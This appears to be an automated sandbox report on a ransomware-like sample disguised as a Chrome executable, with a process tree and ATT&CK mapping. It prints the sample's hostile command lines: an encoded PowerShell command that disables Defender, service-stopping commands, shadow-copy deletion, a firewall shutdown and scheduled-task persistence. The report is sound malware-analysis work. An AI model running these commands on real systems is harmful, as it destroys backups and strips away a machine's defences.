PID 2568 wrote to memory of 5932	2568	chrome.exe	122
PID 1812 wrote to memory of 940	1812	fodhelper.exe	123
PID 4984 wrote to memory of 800	4984	aerobridge.io_chrome.exe	125
PID 4984 wrote to memory of 4476	4984	aerobridge.io_chrome.exe	132
PID 4984 wrote to memory of 1080	4984	aerobridge.io_chrome.exe	171
PID 4984 wrote to memory of 1204	4984	aerobridge.io_chrome.exe	135
PID 4984 wrote to memory of 248	4984	aerobridge.io_chrome.exe	140
PID 4984 wrote to memory of 2512	4984	aerobridge.io_chrome.exe	142
PID 4984 wrote to memory of 264	4984	aerobridge.io_chrome.exe	144
PID 4984 wrote to memory of 6064	4984	aerobridge.io_chrome.exe	145
PID 4984 wrote to memory of 5776	4984	aerobridge.io_chrome.exe	146
PID 4984 wrote to memory of 2972	4984	aerobridge.io_chrome.exe	147
PID 4984 wrote to memory of 1056	4984	aerobridge.io_chrome.exe	148
PID 4984 wrote to memory of 2680	4984	aerobridge.io_chrome.exe	149
PID 4984 wrote to memory of 4776	4984	aerobridge.io_chrome.exe	154
PID 4984 wrote to memory of 2976	4984	aerobridge.io_chrome.exe	156
PID 4984 wrote to memory of 1196	4984	aerobridge.io_chrome.exe	159
PID 4984 wrote to memory of 5316	4984	aerobridge.io_chrome.exe	160
PID 4984 wrote to memory of 324	4984	aerobridge.io_chrome.exe	161
PID 4984 wrote to memory of 312	4984	aerobridge.io_chrome.exe	162
PID 4984 wrote to memory of 4644	4984	aerobridge.io_chrome.exe	163
PID 4984 wrote to memory of 5300	4984	aerobridge.io_chrome.exe	164
PID 324 wrote to memory of 1080	324	net.exe	171
PID 2972 wrote to memory of 572	2972	cmd.exe	172
PID 6064 wrote to memory of 6008	6064	cmd.exe	173
PID 2680 wrote to memory of 4288	2680	cmd.exe	174
PID 572 wrote to memory of 3096	572	net.exe	175
PID 264 wrote to memory of 2648	264	cmd.exe	176
PID 5776 wrote to memory of 1192	5776	cmd.exe	177
PID 1056 wrote to memory of 392	1056	cmd.exe	178
PID 2512 wrote to memory of 2032	2512	cmd.exe	182
PID 2512 wrote to memory of 2548	2512	cmd.exe	180
PID 2568 wrote to memory of 4996	2568	chrome.exe	181
PID 2568 wrote to memory of 2032	2568	chrome.exe	182
PID 2568 wrote to memory of 2080	2568	chrome.exe	183
PID 2568 wrote to memory of 2032	2568	chrome.exe	182
PID 2568 wrote to memory of 2080	2568	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://aerobridge.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd6087c728,0x7ffd6087c734,0x7ffd6087c740
    3⤵
    PID:2256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,15793503427088575153,13118391129121473891,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,15292419716268917179,12810470783921375040,262144 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2196,i,3039862547580450530,6336295057173866092,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:13
    3⤵
    PID:4928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,9244896801871449334,14478526810935219552,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:1
    3⤵
    PID:2532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3140,i,11224228008395028008,3652915150277246440,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:5000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4700,i,16457147896788505219,6895572499355027657,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
    3⤵
    PID:1096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4832,i,15452310937133392483,17748248210800334786,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:1
    3⤵
    PID:5932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3332,i,15678154500572696489,3427875485874803413,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:14
    3⤵
    PID:4996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5504,i,15869968982060800626,9880549291076320177,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:2032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5536,i,17862180422823055788,1881703862441674263,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:1
    3⤵
    PID:2080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5808,i,9661695831986850385,18299169887827817419,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
    3⤵
    PID:992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5560,i,8361416365104223422,16664999301627086428,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:1
    3⤵
    PID:332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5900,i,14746753185664226083,7519580506629169878,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:2376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5776,i,14013865807950254161,612588930314181894,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
    3⤵
    PID:2280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6064,i,12851928405372732988,4576712834790496533,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:14
    3⤵
    PID:5056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5752,i,965653188698098736,11411321543498181723,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
    3⤵
    PID:1480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5516,i,2478682995617906311,11640181654823905453,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:1
    3⤵
    PID:3896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,14824388554117086501,6235331245882013283,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
    3⤵
    PID:2916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6348,i,18268164497655756527,9065358538440151150,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:1
    3⤵
    PID:6068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5596,i,7784530910783044647,16115736414621872648,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=256 /prefetch:1
    3⤵
    PID:960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5500,i,3223789388727444150,14934313396905928408,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:1
    3⤵
    PID:2876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6036,i,2379784236128189512,15187045305042356384,524288 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:14
    3⤵
    PID:5912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5692,i,6335385034126347586,7508813583287865190,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:1
    3⤵
    PID:5836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6008,i,2807529753282873857,10388411729154929930,2097152 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:9
    3⤵
    PID:4252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4840,i,6023005283781118774,12282443948737056476,262144 --field-trial-handle=1904,i,7821222224644855211,800451856725864498,262144 --variations-seed-version --mojo-platform-channel-handle=4924 /prefetch:10
    3⤵
    PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4248
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5840
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4368
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2000
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3772
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe"
    3⤵
    PID:940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:256
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2660
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:800
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4476
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1080
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1204
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2032
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5776
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:572
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4288
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4776
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2976
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1196
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5316
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1080
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5300

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6124

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5864

C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe
1⤵
PID:5616

C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\aerobridge.io_chrome.exe
1⤵
PID:5116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery